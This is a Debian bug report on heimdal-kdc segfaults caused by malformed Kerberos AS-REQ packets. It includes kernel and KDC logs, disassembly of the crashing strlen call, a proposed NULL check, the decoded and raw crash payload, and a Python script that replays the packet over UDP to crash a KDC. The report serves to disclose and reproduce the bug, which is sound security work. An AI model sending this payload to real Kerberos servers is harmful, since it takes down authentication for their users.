Package: heimdal-kdc Version: 7.1.0+dfsg-13+deb9u1 amd64 Severity: important
We are running heimdal-kdc 7.1.0+dfsg-13+deb9u1 amd64 shipped with Debian stretch for our Domain and have discovered several crashes in the past few months. Investigation showed that dmesg contained several logs about segfaults: [Fr Jun 23 12:07:17 2017] kdc[14596]: segfault at 18 ip 00007f65c02ef5d0 sp 00007ffd1d7f7298 error 4 in libasn1.so.8.0.0[7f65c0268000+a7000] [Di Jun 27 21:37:26 2017] kdc[10087]: segfault at 18 ip 00007f65c02ef5d0 sp 00007ffd1d7f7298 error 4 in libasn1.so.8.0.0[7f65c0268000+a7000] [Mo Jul 3 16:18:39 2017] kdc[2656]: segfault at 18 ip 00007fa27ec105d0 sp 00007ffedcb061f8 error 4 in libasn1.so.8.0.0[7fa27eb89000+a7000] [So Jul 9 08:55:39 2017] kdc[6092]: segfault at 18 ip 00007fa27ec105d0 sp 00007ffedcb061f8 error 4 in libasn1.so.8.0.0[7fa27eb89000+a7000] [Di Jul 11 13:06:14 2017] kdc[28993]: segfault at 18 ip 00007fb9dccda5d0 sp 00007ffc6e2ee648 error 4 in libasn1.so.8.0.0[7fb9dcc53000+a7000] [Di Jul 11 23:39:40 2017] kdc[32211]: segfault at 18 ip 00007fb9dccda5d0 sp 00007ffc6e2ee648 error 4 in libasn1.so.8.0.0[7fb9dcc53000+a7000] [Sa Jul 15 13:20:17 2017] kdc[6902]: segfault at 18 ip 00007fb76d5ef5d0 sp 00007ffc22a84078 error 4 in libasn1.so.8.0.0[7fb76d568000+a7000] [Fr Jul 21 12:17:37 2017] kdc[9219]: segfault at 18 ip 00007fdfcbf2b5d0 sp 00007ffe9f295128 error 4 in libasn1.so.8.0.0[7fdfcbea4000+a7000] [So Jul 23 21:10:59 2017] kdc[26977]: segfault at 18 ip 00007fdfcbf2b5d0 sp 00007ffe9f295128 error 4 in libasn1.so.8.0.0[7fdfcbea4000+a7000] [So Aug 6 12:06:04 2017] kdc[26494]: segfault at 18 ip 00007f342c8d35d0 sp 00007fff8ae39088 error 4 in libasn1.so.8.0.0[7f342c84c000+a7000] [Di Aug 15 15:21:41 2017] kdc[28412]: segfault at 18 ip 00007f4780b605d0 sp 00007ffd63250328 error 4 in libasn1.so.8.0.0[7f4780ad9000+a7000] [Mi Aug 16 08:46:13 2017] kdc[5166]: segfault at 18 ip 00007f4780b605d0 sp 00007ffd63250328 error 4 in libasn1.so.8.0.0[7f4780ad9000+a7000] [Di Aug 29 04:01:58 2017] kdc[5268]: segfault at 18 ip 00007f31fdd065d0 sp 00007ffd8392c748 error 4 in libasn1.so.8.0.0[7f31fdc7f000+a7000] [Fr Sep 1 16:56:57 2017] kdc[13396]: segfault at 18 ip 00007f31fdd065d0 sp 00007ffd8392c748 error 4 in libasn1.so.8.0.0[7f31fdc7f000+a7000] [Mo Sep 11 20:10:45 2017] kdc[16093]: segfault at 18 ip 00007f8a096715d0 sp 00007ffd48ba4b28 error 4 in libasn1.so.8.0.0[7f8a095ea000+a7000] [Di Sep 12 13:46:17 2017] kdc[24683]: segfault at 18 ip 00007f8a096715d0 sp 00007ffd48ba4b28 error 4 in libasn1.so.8.0.0[7f8a095ea000+a7000] The heimdal-kdc log gave us additional information: lofar log # zgrep "AS-REQ malformed client name" heimdal-kdc.log* heimdal-kdc.log:2017-09-11T20:10:46 AS-REQ malformed client name from IPv4:80.82.77.139 heimdal-kdc.log:2017-09-12T13:46:18 AS-REQ malformed client name from IPv4:185.100.87.246 heimdal-kdc.log.2.gz:2017-08-29T04:01:59 AS-REQ malformed client name from IPv4:71.6.135.131 heimdal-kdc.log.2.gz:2017-09-01T16:56:58 AS-REQ malformed client name from IPv4:34.208.25.133 heimdal-kdc.log.4.gz:2017-08-15T15:21:41 AS-REQ malformed client name from IPv4:96.126.127.61 heimdal-kdc.log.4.gz:2017-08-16T08:46:13 AS-REQ malformed client name from IPv4:71.6.158.166 heimdal-kdc.log.5.gz:2017-08-06T12:06:05 AS-REQ malformed client name from IPv4:71.6.167.142 The KDC was directly reachable over the Internet - those IPs do not belong to us but seemed to send packets crashing our master or our slave (we observed the same there). While waiting to capture one of those packets and reproduce the issues, my colleague Thomas Kittel located the part of the code responsible for the crash: * RIP in libasn1.so.0 (relativ) 0x875d0. * "der_length_visible_string@@HEIMDAL_ASN1_1.0" ____________________________ 875d0: 48 8b 3f mov rdi,QWORD PTR [rdi] 875d3: e9 e8 83 f9 ff jmp 1f9c0 <strlen@plt> 875d8: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0] 875df: 00 ____________________________ * Source: https://github.com/heimdal/heimdal/blob/master/lib/asn1/der_length.c size_t der_length_visible_string (const heim_visible_string *data) { return strlen(*data); } As quickfix, he supposed to include a NULL check (which we did not test yet): if(!data) return 0; We managed to get our hands on one of the payloads (c.f. attachments). It seems to be a syntactically valid Kerberos message (see decoded_der.txt) with nonsense values but nothing obviously looking like attempts to inject shellcode or abuse any vulnerability. I attached the raw bytes of the complete packet as well as the raw bytes of the Kerberos message only. Replaying the payload lead to reproducible crashes (steps to reproduce attached) and since we see these packets at least since June (symptoms for over a year) there seem to be people making use of this in the wild. We do currently not know if the packets are only DoS attempts or if the crashes are only side effects of more severe attacks like leaks or code execution. We enabled the firewall to drop Kerberos packets coming from the Internet, but there may be others suffering from these attacks. We believe that this is a upstream bug. I tried to contact the developers via PGP-encrypted mail but they did not react. If there are any open questions, please do not hesitate to contact us! Best regards, Michael Eder
from pyasn1.codec.der.decoder import decode as der_decode
with open("/tmp/krb_crash_only_krb_packet.bin", "rb") as f:
derdata=f.read()
data = der_decode(derdata)[0]
print data
Sequence(
componentType=NamedTypes(),
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=32, tagId=16),
Tag(tagClass=64, tagFormat=32, tagId=10)
)
).setComponents(
Integer(
5,
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=2),
Tag(tagClass=128, tagFormat=32, tagId=1)
)
),
Integer(
10,
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=2),
Tag(tagClass=128, tagFormat=32, tagId=2)
)
),
Sequence(
componentType=NamedTypes(),
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=32, tagId=16),
Tag(tagClass=128, tagFormat=32, tagId=4)
)
).setComponents(
BitString(
"'01010000100000000000000000010000'B",
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=3),
Tag(tagClass=128, tagFormat=32, tagId=0)
)
),
GeneralString(
'NM',
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=27),
Tag(tagClass=128, tagFormat=32, tagId=2)
)
),
Sequence(
componentType=NamedTypes(),
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=32, tagId=16),
Tag(tagClass=128, tagFormat=32, tagId=3)
)
).setComponents(
Integer(
0,
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=2),
Tag(tagClass=128, tagFormat=32, tagId=0)
)
),
Sequence(
componentType=NamedTypes(),
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=32, tagId=16),
Tag(tagClass=128, tagFormat=32, tagId=1)
)
).setComponents(
GeneralString(
'krbtgt',
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=27)
)
),
GeneralString(
'NM',
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=27)
)
)
)
),
GeneralizedTime(
'19700101000000Z',
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=24),
Tag(tagClass=128, tagFormat=32, tagId=5)
)
),
Integer(
522107353,
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=2),
Tag(tagClass=128, tagFormat=32, tagId=7)
)
),
Sequence(
componentType=NamedTypes(),
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=32, tagId=16),
Tag(tagClass=128, tagFormat=32, tagId=8)
)
).setComponents(
Integer(
18,
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=2)
)
),
Integer(
17,
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=2)
)
),
Integer(
16,
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=2)
)
),
Integer(
23,
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=2)
)
),
Integer(
1,
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=2)
)
),
Integer(
3,
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=2)
)
),
Integer(
2,
tagSet=TagSet(
(),
Tag(tagClass=0, tagFormat=0, tagId=2)
)
)
)
)
)
krb_crash.bin
Description: Binary data
krb_crash_only_krb_packet.bin
Description: Binary data
In [1]: import socket
In [2]: UDP_HOST = "lofar.fs.tum.de"
In [3]: UDP_PORT = 88
In [4]: with open("krb_crash_only_krb_packet.bin", "rb") as crashfile:
...: PAYLOAD = crashfile.read()
...:
In [5]: print(PAYLOAD)
b'j\x81n0\x81k\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\n\xa4\x81^0\\\xa0\x07\x03\x05\x00P\x80\x00\x10\xa2\x04\x1b\x02NM\xa3\x170\x15\xa0\x03\x02\x01\x00\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM\xa5\x11\x18\x0f19700101000000Z\xa7\x06\x02\x04\x1f\x1e\xb9\xd9\xa8\x170\x15\x02\x01\x12\x02\x01\x11\x02\x01\x10\x02\x01\x17\x02\x01\x01\x02\x01\x03\x02\x01\x02'
In [6]: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
In [7]: s.sendto(PAYLOAD, (UDP_HOST, UDP_PORT))
Out[7]: 113
/var/log/heimdal-kdc.log:2017-09-19T20:15:15 AS-REQ malformed client name from
IPv4:<myIP>
signature.asc
Description: OpenPGP digital signature

